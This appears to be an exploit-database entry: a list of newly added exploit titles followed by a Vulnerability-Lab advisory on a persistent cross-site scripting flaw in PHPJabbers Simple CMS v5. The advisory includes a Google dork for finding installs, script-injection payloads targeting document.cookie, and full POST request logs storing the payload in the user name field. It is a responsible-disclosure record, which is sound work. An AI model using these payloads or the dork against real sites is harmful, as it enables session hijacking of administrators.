
17 changes to exploits/shellcodes RDP Manager 4.9.9.3 - Denial-of-Service (PoC) PHPJabbers Simple CMS 5 - 'name' Persistent Cross-Site Scripting (XSS) WordPress Plugin Hotel Listing 3 - 'Multiple' Cross-Site Scripting (XSS) Fuel CMS 1.4.1 - Remote Code Execution (3) Eclipse Jetty 11.0.5 - Sensitive File Disclosure WordPress Plugin Popup Anything 2.0.3 - 'Multiple' Stored Cross-Site Scripting (XSS) OpenAM 13.0 - LDAP Injection Simplephpscripts Simple CMS 2.1 - 'Multiple' Stored Cross-Site Scripting (XSS) Simplephpscripts Simple CMS 2.1 - 'Multiple' SQL Injection Sonicwall SonicOS 6.5.4 - 'Common Name' Cross-Site Scripting (XSS) PHP Melody 3.0 - 'Multiple' Cross-Site Scripting (XSS) PHP Melody 3.0 - 'vid' SQL Injection Mult-e-Cart Ultimate 2.4 - 'id' SQL Injection PHP Melody 3.0 - Persistent Cross-Site Scripting (XSS) Isshue Shopping Cart 3.5 - 'Title' Cross Site Scripting (XSS) Vanguard 2.1 - 'Search' Cross-Site Scripting (XSS) Ultimate POS 4.4 - 'name' Cross-Site Scripting (XSS)
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# Exploit Title: PHPJabbers Simple CMS 5 - 'name' Persistent Cross-Site Scripting (XSS)
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# Google Dork: subtitle:Copyright © 2021 PHPJabbers.com
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# Date: 2021-10-28
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# Exploit Author: Vulnerability-Lab
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# Vendor Homepage: https://www.phpjabbers.com/faq.php
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# Software Link: https://www.phpjabbers.com/simple-cms/
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# Version: v5
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# Tested on: Linux
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Document Title:
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===============
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PHPJabbers Simple CMS v5 - Persistent XSS Vulnerability
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References (Source):
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====================
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https://www.vulnerability-lab.com/get_content.php?id=2300
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Release Date:
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=============
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2021-10-28
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Vulnerability Laboratory ID (VL-ID):
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====================================
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2300
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Common Vulnerability Scoring System:
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====================================
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5.4
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Vulnerability Class:
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====================
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Cross Site Scripting - Persistent
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Current Estimated Price:
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========================
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500€ - 1.000€
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Product & Service Introduction:
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===============================
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A simple PHP content management system for easy web content editing and publishing. Our PHP Content Management System script is designed
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to provide you with powerful yet easy content administration tools. The smart CMS lets you create and manage multiple types of web sections
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and easily embed them into your website. You can upload a wide range of files and add users with different user access levels. Get the
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Developer License and customize the script to fit your specific needs.
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(Copy of the Homepage:https://www.phpjabbers.com/simple-cms/ )
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Abstract Advisory Information:
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==============================
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The vulnerability laboratory core research team discovered a persistent input validation vulnerability in the PHPJabbers Simple CMS v5.0 web-application.
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Affected Product(s):
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====================
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PHPJabbers
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Product: PHPJabbers Simple CMS v5.0 - (Web-Application)
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Vulnerability Disclosure Timeline:
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==================================
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2021-09-01: Researcher Notification & Coordination (Security Researcher)
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2021-09-02: Vendor Notification (Security Department)
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2021-**-**: Vendor Response/Feedback (Security Department)
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2021-**-**: Vendor Fix/Patch (Service Developer Team)
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2021-**-**: Security Acknowledgements (Security Department)
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2021-10-28: Public Disclosure (Vulnerability Laboratory)
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Discovery Status:
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=================
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Published
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Exploitation Technique:
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=======================
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Remote
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Severity Level:
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===============
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Medium
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Authentication Type:
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====================
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Restricted Authentication (Moderator Privileges)
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User Interaction:
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=================
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Low User Interaction
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Disclosure Type:
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================
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Responsible Disclosure
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Technical Details & Description:
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================================
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A persistent input validation web vulnerability has been discovered in the in the PHPJabbers Simple CMS v5.0 web-application.
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The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise
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browser to web-application requests from the application-side.
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The persistent vulnerability is located in the create (pjActionCreate) and update (pjActionUpdate) post method request.
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Privileged authenticated accounts with ui access are able to inject own malicious script code as name for users.
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The script code execution is performed after the inject via post method in the user list (pjAdminUsers).
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Successful exploitation of the vulnerabilities results in session hijacking, persistent phishing attacks, persistent external
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redirects to malicious source and persistent manipulation of affected application modules.
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Request Method(s):
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[+] POST
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Vulnerable Module(s):
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[+] Create (Add)
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[+] Update
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Vulnerable Parameter(s):
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[+] pjActionCreate
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[+] pjActionUpdate
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Affected Module(s):
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[+] pjAdminUsers
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Proof of Concept (PoC):
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=======================
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The persistent web vulnerability can be exploited by remote attackers with privilged user accounts with low user interaction.
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For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
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PoC: Payloads
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"><img src=evil.source onload=alert(document.cookie)>
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"><img src=evil.source onload=alert(document.domain)>
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--- PoC Session Logs (POST) [Add & Update]
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https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionCreate
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Host: phpjabbers-cms.localhost:8080
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 178
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Origin:https://phpjabbers-cms.localhost:8080
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Connection: keep-alive
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Referer:https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionCreate
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Cookie: PHPSESSID=1u09ltqr9cm9fivco678g5rdk6; pj_sid=PJ1.0.9421452714.1630949247; pj_so=PJ1.0.8128760084.1630949247;
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_gcl_au=1.1.1647551187.1630949248; __zlcmid=15wkJNPYavCwzgx; simpleCMS=5if2dl1gd2siru197tojj4r7u5;
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pjd=f9843n906jef7det6cn5shusd1; pjd_1630949262_438=1
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user_create=1&role_id=2&email=test@ftp.world&password=test2&name=r"><img src=evil.source onload=alert(document.cookie)>§ion_allow=1&file_allow=1&status=T
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-
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POST: HTTP/1.1 303
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Server: Apache/2.2.15 (CentOS)
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Location: /1630949262_438/index.php?controller=pjAdminUsers&action=pjActionIndex&err=AU03
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Keep-Alive: timeout=10, max=100
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Connection: Keep-Alive
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Content-Type: text/html; charset=utf-8
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--
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https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionUpdate
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Host: phpjabbers-cms.localhost:8080
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 180
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Origin:https://phpjabbers-cms.localhost:8080
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Connection: keep-alive
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Referer:https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionUpdate&id=2
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Cookie: PHPSESSID=1u09ltqr9cm9fivco678g5rdk6; pj_sid=PJ1.0.9421452714.1630949247; pj_so=PJ1.0.8128760084.1630949247;
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_gcl_au=1.1.1647551187.1630949248; __zlcmid=15wkJNPYavCwzgx; simpleCMS=5if2dl1gd2siru197tojj4r7u5;
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pjd=f9843n906jef7det6cn5shusd1; pjd_1630949262_438=1
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user_update=1&id=2&role_id=2&email=test@test.de&password=test&name=r"><img src=evil.source onload=alert(document.cookie)>§ion_allow=1&file_allow=1&status=T
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-
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POST: HTTP/1.1 303
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Server: Apache/2.2.15 (CentOS)
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Location:https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionIndex&err=AU01
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Keep-Alive: timeout=10, max=83
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Connection: Keep-Alive
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Content-Type: text/html; charset=utf-8
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-
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https://phpjabbers-cms.localhost:8080/1630949262_438/evil.source
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Host: phpjabbers-cms.localhost:8080
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Connection: keep-alive
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Referer:https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionIndex&err=AU03
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Cookie: PHPSESSID=1u09ltqr9cm9fivco678g5rdk6; pj_sid=PJ1.0.9421452714.1630949247; pj_so=PJ1.0.8128760084.1630949247;
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_gcl_au=1.1.1647551187.1630949248; __zlcmid=15wkJNPYavCwzgx; simpleCMS=5if2dl1gd2siru197tojj4r7u5;
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pjd=f9843n906jef7det6cn5shusd1; pjd_1630949262_438=1
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-
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GET: HTTP/1.1 200 OK
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Server: Apache/2.2.15 (CentOS)
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Content-Length: 380
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Keep-Alive: timeout=10, max=89
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Connection: Keep-Alive
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Content-Type: text/html; charset=UTF-8
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Vulnerable Source: index.php?controller=pjAdminUsers (&action=pjActionIndex&err=AU03)
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<select data-name="status" style="display: none;" class="pj-form-field pj-form-select pj-selector-editable"><option value="T">Active</option>
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<option value="F">Inactive</option></select></td><td><a href="index.php?controller=pjAdminUsers&action=pjActionUpdate&id=1"
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class="pj-table-icon-edit"></a></td></tr><tr class="pj-table-row-even" data-id="id_3"><td><input type="checkbox" name="record[]" value="3"
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class="pj-table-select-row"></td><td class="pj-table-cell-editable">
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<span class="pj-table-cell-label">r"><img src="evil.source" onload="alert(document.cookie)"></img></span>
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<input type="text" data-name="name" style="display: none;" class="pj-form-field pj-form-text
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pj-selector-editable" value="r"><img src=evil.source onload=alert(document.cookie)>"></td><td class="pj-table-cell-editable">
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<span class="pj-table-cell-label">test@ftp.world</span><input type="text" data-name="email" style="display: none;"
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class="pj-form-field pj-form-text pj-selector-editable" value="test@ftp.world"></td><td><span class="pj-table-cell-label">06-09-2021</span></td>
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<td><span class="pj-table-cell-label"><span class="label-status user-role-editor">editor</span></span></td><td class="pj-table-cell-editable">
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<span class="pj-table-cell-label pj-status pj-status-T">Active</span><select data-name="status" style="display: none;"
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class="pj-form-field pj-form-select pj-selector-editable"><option value="T">Active</option><option value="F">Inactive</option></select></td>
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<td><a href="index.php?controller=pjAdminUsers&action=pjActionUpdate&id=3" class="pj-table-icon-edit"></a>
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<a href="index.php?controller=pjAdminUsers&action=pjActionDeleteUser&id=3" class="pj-table-icon-delete"></a></td></tr></tbody></table>
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Reference(s):
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https://phpjabbers-cms.localhost:8080/
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https://phpjabbers-cms.localhost:8080/1630949262_438/
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https://phpjabbers-cms.localhost:8080/1630949262_438/index.php
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https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionUpdate
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https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionCreate
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Credits & Authors:
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==================
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Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
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Disclaimer & Information:
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=========================
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The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
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either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab
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or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits
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or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do
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not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
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We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.
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Copyright © 2021 | Vulnerability Laboratory - [Evolution Security GmbH]™
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--
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VULNERABILITY LABORATORY (VULNERABILITY LAB)
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RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE |